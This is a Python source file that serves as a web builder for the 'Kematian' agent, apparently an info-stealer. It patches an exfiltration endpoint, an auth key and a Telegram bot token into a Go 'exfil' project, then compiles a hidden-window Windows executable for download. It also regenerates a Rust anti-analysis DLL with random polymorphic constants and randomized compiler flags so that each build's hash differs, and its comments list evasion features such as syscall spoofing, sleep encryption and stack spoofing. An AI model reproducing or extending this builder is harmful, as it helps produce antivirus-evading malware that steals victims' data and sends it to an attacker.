""" Web builder for the kematian agent. Project: https://t.me/electronic_sex Copies the Go native tree to a private temp dir, patches in the entered config (endpoint + ingest key + optional Telegram), runs `go build`, and drops the resulting .exe into builds/ so it can be downloaded. The original source is never touched. Results + build output are kept per build so the UI can show a log and offer a download link. """ import os import shutil import subprocess import tempfile import time import threading # Directory that holds the native Go source tree (go.mod lives here). # Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative # locations so a relative default never one level too deep (../.. would skip the # repo folder). Probe both "../../" and "../" style layouts. _here = os.path.dirname(os.path.abspath(__file__)) NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "") _TRIED_ROOTS = [ os.path.join(_here, "..", "..", "Kematian-Standalone", "native"), os.path.join(_here, "..", "Kematian-Standalone", "native"), os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"), ] # Where built .exe files are published for download. BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds")) _build_lock = threading.Lock() _last_build_id = [0] _jobs = {} # id -> {status, log, exe, error, created} def _resolve_native_dir(): """Return the path to the Go source tree, or None if not found. A candidate is only valid if it has go.mod AND the source files we patch (recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship go.mod and would produce a confusing build error, so we skip them. """ def is_valid(p): return (os.path.exists(os.path.join(p, "go.mod")) and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go")) and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go"))) if NATIVE_DIR: cand = os.path.normpath(NATIVE_DIR) if is_valid(cand): return cand for root in _TRIED_ROOTS: cand = os.path.normpath(root) if is_valid(cand): return cand return None def _patch(text, replacements): for old, new in replacements: if old not in text: return None, f"pattern not found: {old!r}" text = text.replace(old, new) return text, None def _sh_rmtree_git(dirpath): """Remove stray .git dirs at the source root of a copied tree.""" import shutil as _sh _sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True) def _find_cargo(): """Locate the cargo executable (prefer env override, then PATH).""" override = os.environ.get("BUILDER_CARGO") if override and os.path.exists(override): return override from shutil import which return which("cargo") def _write_gen(gen_path): """Regenerate src/gen.rs with fresh random constants so each build produces a distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL.""" import secrets def rnd(): return secrets.randbelow((1 << 32) - 1) def rnd8(): # avoid 0x00 so XOR keystream keys are never trivially identity return secrets.randbelow(255) + 1 def rnd16(): return secrets.randbelow((1 << 16) - 1) | 1 def rnd64(): return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1) seed = rnd() | 1 k_token = rnd8() k_vendor = rnd8() k_smbios = rnd8() k_env = rnd8() k_display = rnd8() junk_xor = rnd() | 1 junk_rot = rnd() | 1 junk_n = secrets.randbelow(16) + 4 opaque_tag = rnd64() # Additional polymorphic constants for new features # Control flow flattening state key cff_key = rnd() | 1 # Syscall spoofing trampoline selector syscall_tramp = secrets.randbelow(8) + 1 # Sleep encryption round count sleep_rounds = secrets.randbelow(4) + 3 # Anti-hook check order permutation seed hook_order_seed = rnd() | 1 # Stack spoofing offset stack_spoof_off = secrets.randbelow(0x1000) + 0x100 # Junk block variant selector junk_variant = secrets.randbelow(4) # Opaque predicate complexity opaque_complexity = secrets.randbelow(3) + 1 content = ( "// AUTO-GENERATED per build by builder.py. Do not edit.\n" "// Each build rewrites this file, so the guard's keys, seeds and junk\n" "// blocks are unique to every artifact.\n\n" f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n" f"pub const K_TOKEN: u8 = {k_token};\n" f"pub const K_VENDOR: u8 = {k_vendor};\n" f"pub const K_SMBIOS: u8 = {k_smbios};\n" f"pub const K_ENV: u8 = {k_env};\n" f"pub const K_DISPLAY: u8 = {k_display};\n\n" f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n" f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n" f"pub const JUNK_N: u32 = {junk_n};\n\n" f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n" "// Polymorphic control-flow / evasion layer constants\n" f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n" f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n" f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n" f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n" f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n" f"pub const JUNK_VARIANT: u8 = {junk_variant};\n" f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n" ) with open(gen_path, "w", encoding="utf-8", errors="replace") as f: f.write(content) def _get_rustflags(): """Generate per-build RUSTFLAGS for codegen variance.""" import secrets flags = [ "-C", "opt-level=2", # or 's' or 'z' randomly "-C", "lto=thin", "-C", "codegen-units=1", "-C", "panic=abort", "-C", "strip=symbols", ] # Randomly vary optimization level opt_level = secrets.choice(["2", "3", "s", "z"]) flags[1] = opt_level # Randomly vary codegen units (affects function layout) cgu = secrets.choice(["1", "2", "4", "8"]) flags[5] = cgu # Randomly enable/disable specific optimizations if secrets.randbelow(2): flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"]) if secrets.randbelow(2): flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"]) if secrets.randbelow(2): flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"]) # Random target-cpu for instruction selection variance cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"]) flags.extend(["-C", f"target-cpu={cpu}"]) return flags def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir): # --- build the Rust anti-analysis extractor so every build ships a fresh, # guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it # produces is copied to recovery/platform/compat-layer.dll inside # the copied tree before `go build` runs. rust_dir is the *real* sibling of # the source native tree (not inside the temp copy). if os.path.exists(os.path.join(rust_dir, "Cargo.toml")): cargo = _find_cargo() if cargo: try: # Polymorphic layer: regenerate the per-build constants before # compiling so every artifact gets a unique binary / hash. gen_path = os.path.join(rust_dir, "src", "gen.rs") try: _write_gen(gen_path) except Exception: pass # keep existing gen.rs if regeneration fails subprocess.run( [cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"], cwd=rust_dir, capture_output=True, text=True, timeout=900, env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())}, ) built_dll = os.path.join( rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll" ) dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll") if os.path.exists(built_dll) and os.path.exists(dest_dll): shutil.copy2(built_dll, dest_dll) except Exception: pass # keep the already-present DLL if Rust rebuild fails main_path = os.path.join(work_dir, "cmd", "exfil", "main.go") panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go") if not os.path.exists(panel_path): return "source missing: recovery/exfil/panel.go not found in the copied tree" if not os.path.exists(main_path): return "source missing: cmd/exfil/main.go not found in the copied tree" # --- patch panel.go: endpoint + auth with open(panel_path, "r", encoding="utf-8", errors="replace") as f: text = f.read() text, err = _patch(text, [ ('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'), ('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'), ]) if err: return err with open(panel_path, "w", encoding="utf-8") as f: f.write(text) # --- patch main.go: telegram (only if provided) with open(main_path, "r", encoding="utf-8", errors="replace") as f: text = f.read() if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE": text, err = _patch(text, [ ('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'), ('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'), ]) if err: return err else: # telegram disabled: nothing to patch, code checks for placeholder anyway pass with open(main_path, "w", encoding="utf-8") as f: f.write(text) # --- build env = dict(os.environ) env["CGO_ENABLED"] = "1" env.setdefault("GOOS", "windows") env.setdefault("GOARCH", "amd64") out_path = os.path.join(work_dir, "kematian.exe") cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"] proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200) log = proc.stdout + proc.stderr if proc.returncode != 0: return "BUILD FAILED\n" + log if not os.path.exists(out_path): return "build ok but no exe produced\n" + log os.makedirs(BUILDS_DIR, exist_ok=True) safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") filename = f"{safe}.exe" dest = os.path.join(BUILDS_DIR, filename) shutil.copy2(out_path, dest) return None # success; log returned separately def start_build(endpoint, auth, bot_token, chat_id, build_name): with _build_lock: _last_build_id[0] += 1 build_id = _last_build_id[0] _jobs[build_id] = { "status": "running", "log": "", "exe": None, "error": None, "created": int(time.time()), } def worker(): job = _jobs[build_id] native = _resolve_native_dir() if not native: job["status"] = "error" job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR." return tmp = tempfile.mkdtemp(prefix="kematian-build-") try: shutil.copytree(native, tmp, dirs_exist_ok=True) _sh_rmtree_git(tmp) # Real rust-extractor sits next to the native tree on disk. rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor")) err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir) if err: job["status"] = "error" job["error"] = err else: safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") exe = os.path.join(BUILDS_DIR, f"{safe}.exe") job["status"] = "done" job["exe"] = exe except Exception as e: job["status"] = "error" job["error"] = str(e) finally: shutil.rmtree(tmp, ignore_errors=True) threading.Thread(target=worker, daemon=True).start() return build_id def job_status(build_id): return _jobs.get(build_id) def all_jobs(): return dict(_jobs)